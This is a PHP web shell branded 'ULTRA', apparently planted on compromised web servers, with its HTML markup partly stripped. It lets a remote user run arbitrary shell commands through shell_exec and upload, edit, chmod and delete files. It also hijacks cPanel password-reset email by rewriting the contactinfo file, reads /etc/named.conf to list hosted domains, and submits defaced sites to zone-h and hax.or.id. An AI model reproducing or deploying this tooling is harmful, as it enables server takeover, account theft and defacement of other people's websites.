".$perms."" : "".$perms."";
}
function perms($path) {
    $perms = fileperms($path);
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } 
    elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } 
    elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } 
    elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } 
    elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } 
    elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } 
    elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } 
    else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
    (($perms & 0x0800) ? 's' : 'x' ) :
    (($perms & 0x0800) ? 'S' : '-'));
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
    (($perms & 0x0400) ? 's' : 'x' ) :
    (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
    (($perms & 0x0200) ? 't' : 'x' ) :
    (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}
function fsize($file) {
    $a = ["B", "KB", "MB", "GB", "TB", "PB"];
    $pos = 0;
    $size = filesize($file);
    while ($size >= 1024) {
        $size /= 1024;
        $pos++;
    }
    return round($size, 2)." ".$a[$pos];
}
if (isset($_GET['dir'])) {
    $path = $_GET['dir'];
    chdir($_GET['dir']);
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$exdir = explode('/', $path);
function getOwner($item) {
	if (function_exists("posix_getpwuid")) {
		$downer = @posix_getpwuid(fileowner($item));
		$downer = $downer['name'];
	} else {
		$downer = fileowner($item);
	}
	if (function_exists("posix_getgrgid")) {
		$dgrp = @posix_getgrgid(filegroup($item));
		$dgrp = $dgrp['name'];
	} else {
		$dgrp = filegroup($item);
	}
	return $downer . '/' . $dgrp;
}
// CMD
function cmd($command) {
    global $path;
    if (strpos($command, 'resetcp') !== false) {
        $email = explode(' ', $command);
        if (!$email[1] || !filter_var($email[1], FILTER_VALIDATE_EMAIL)) {
            return "You must specified valid email address. resetcp youremail@example.com";
        }
        $pathcp = explode("/", $path);
        $text = "---\n\"email\":'$email[1]'";
        $file = join('/', [$pathcp[0], $pathcp[1], $pathcp[2]]);
        $file = $file . '/.cpanel/';
        if (file_exists($file . 'contactinfo')) {
            unlink($file . 'contactinfo');
        }
        file_put_contents($file . 'reset', $text);
        if (file_exists($file . 'reset')) {
            rename($file . 'reset', $file . 'contactinfo');
            return "Email for reset cpanel changed to '$email[1]'";
        }
        return "Failed to change reset cp email!";
    } elseif (function_exists('shell_exec')) {
        return shell_exec($command.' 2>&1');
    } else {
        return "Disable Function";
    }
}
// ARCHIVE
function archive(){
    if (isset($_POST['nick']) && isset($_POST['team']) && isset($_POST['weblist'])){
        $nickname = $_POST['nick'];
        $team = $_POST['team'];
        $weblists = explode("\r\n", $_POST['weblist']);
        function hax0r($nick, $team = '', $url) {
            $ch = curl_init("https://hax.or.id/notify/single");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, ['defacer' => $nick, 'team' => $team, 'vulntype' => 1, 'reason' => 1, 'webtarget' => $url, 'submit' => 'Notify']);
            return curl_exec($ch);
            curl_close($ch);
        }
        function z0ne($nick, $url) {
            $ch = curl_init("http://www.zone-h.com/notify/single");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, ['defacer' => $nick, 'domain1' => $url, 'hackmode' => 1, 'reason' => 1,'submit' => 'Send']);
            return curl_exec($ch);
            curl_close($ch);
        }
        echo "
------- Result -------
";
        foreach($weblists as $url){
            $archiveh = hax0r($nickname, $team, $url);
            $archivez = z0ne($nickname, $url);
            if(preg_match("", $archiveh)) {
                $z0neh = "
OK";
            } else {
                $z0neh = "
ERROR";
            }
            if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $archivez)) {
                $hax0rid = "
OK";
            } else {
                $hax0rid = "
ERROR";
            }
            echo "$url ZH: $z0neh, HID: $hax0rid
";
        }
        echo "
Haxor-ID: 
https://haxor.id/archive/attacker/$nickname";
        echo "Zone-H: 
http://www.zone-h.org/archive/notifier=$nickname";
    } else {
        echo '
';
    }
}
if (isset($_POST['newFolderName'])) {
    if (mkdir($path . '/' . $_POST['newFolderName'])) {
        flash("Create Folder Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Create Folder Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
    if (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) {
        flash("Create File Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Create File Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newName']) && isset($_GET['item'])) {
    if ($_POST['newName'] == '') {
        flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    }
    if (rename($path. '/'. $_GET['item'], $_POST['newName'])) {
        flash("Rename Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Rename Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
    if (file_put_contents($path. '/'. $_GET['item'], $_POST['newContent'])) {
        flash("Edit Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Edit Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
    if ($_POST['newPerm'] == '') {
        flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    }
    if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
        flash("Change Permission Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Change Permission", "Failed", "error", "?dir=$path");
    }
}
if (isset($_GET['action'])) {
    $action = $_GET['action'];
    if ($action == 'delete' && isset($_GET['item'])) {
        function removedir($dir){
            if(!rmdir($dir)){
                $file = scandir($dir);
                foreach ($file as $files) {
                    if(is_file($dir."/".$files)){
                        if(unlink($dir."/".$files)){
                            rmdir($dir);
                        }
                    }
                    if(is_dir($dir."/".$files)){
                        rmdir($dir."/".$files);
                        rmdir($dir);
                    }
                }
            }
        }
        if (is_dir($_GET['item'])) {
            if (removedir($_GET['item'])) {
                flash("Delete Folder Successfully!", "Success", "success", "?dir=$path");
            } else {
                flash("Delete Folder Successfully!", "Success", "success", "?dir=$path");
            }
        } else {
            if (unlink($_GET['item'])) {
                flash("Delete File Successfully!", "Success", "success", "?dir=$path");
            } else {
                flash("Delete File Failed", "Failed", "error", "?dir=$path");
            }
        }
    }
}
if (isset($_FILES['uploadfile'])) {
    $total = count($_FILES['uploadfile']['name']);
    for ($i = 0; $i < $total; $i++) {
        $mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
    }
    if ($total < 2) {
        if ($mainupload) {
            flash("Upload File Successfully! ", "Success", "success", "?dir=$path");
        } else {
            flash("Upload Failed", "Failed", "error", "?dir=$path");
        }
    }
    else{
        if ($mainupload) {
            flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
        } else {
            flash("Upload Failed", "Failed", "error", "?dir=$path");
        }
    }
}
$dirs = scandir($path);
$d0mains = @file("/etc/named.conf", false);
if (!$d0mains){
	$dom = "Cant read /etc/named.conf";
	$GLOBALS["need_to_update_header"] = "true";
}else{ 
	$count = 0;
	foreach ($d0mains as $d0main){
		if (@strstr($d0main, "zone")){
			preg_match_all('#zone "(.*)"#', $d0main, $domains);
			flush();
			if (strlen(trim($domains[1][0])) > 2){
				flush();
				$count++;
			}
		}
	}
	$dom = "$count Domain";
}
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$uip = $_SERVER['REMOTE_ADDR'];
$serv = $_SERVER['HTTP_HOST'];
$soft = $_SERVER['SERVER_SOFTWARE'];
$cmd_uname = cmd("uname -a");
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname) > 0 ? $cmd_uname : 'Uname Error!');
?>
    
        
        
        
        
        
        ULTRA [ = $serv; ?> ]
        
        
    
    
        
            
                
                    
                        
                            | Operation | 
                            : | 
                            = $uname; ?> | 
                        
                        
                            | Software | 
                            : | 
                            = $soft; ?> | 
                        
                        
                            | Server IP | 
                            : | 
                            = $ip; ?> | Your IP: = $uip; ?> | 
                        
                        
                            | Domains | 
                            : | 
                            = $dom; ?> | 
                        
                        
                            | Permission | 
                            : | 
                            [  ] | 
                        
                    
                    
                    
                    
                    
                    
                    
                        
                            
                                
                                    | Name | 
                                    Type | 
                                    Size | 
                                    Owner/Group | 
                                    Permission | 
                                    Last Modified | 
                                    Actions | 
                                
                            
                            
                                
                                
                                    | 
                                        
                                             = $dir ?>
                                        
                                             = $dir ?>
                                        
                                             = $dir ?>
                                        
                                     | 
                                    = filetype($dir) ?> | 
                                    - | 
                                    = getOwner($dir) ?> | 
                                    
                                        ';
                                                if(is_writable($path.'/'.$dir)) echo '';
                                                elseif(!is_readable($path.'/'.$dir)) echo '';
                                                echo perms($path.'/'.$dir);
                                                if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir))
                                            echo '';
                                        ?>
                                     | 
                                    = date("Y-m-d h:i:s", filemtime($dir)); ?> | 
                                    
                                        
                                            
                                        
                                            
											
                                        
                                     | 
                                
                                
                                    
                                    
                                        | 
                                             = $dir ?>
                                         | 
                                        = (function_exists('mime_content_type') ? mime_content_type($dir) : filetype($dir)) ?> | 
                                        = fsize($dir) ?> | 
                                        = getOwner($dir) ?> | 
                                        
                                            ';
                                                    if(is_writable($path.'/'.$dir)) echo '';
                                                    elseif(!is_readable($path.'/'.$dir)) echo '';
                                                    echo perms($path.'/'.$dir);
                                                    if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir))
                                                echo '';
                                            ?>
                                         | 
                                        = date("Y-m-d h:i:s", filemtime($dir)); ?> | 
                                        
                                            
                                                
                                            
                                         | 
                                    
                                
                            
                        
                     
                    © ULTRA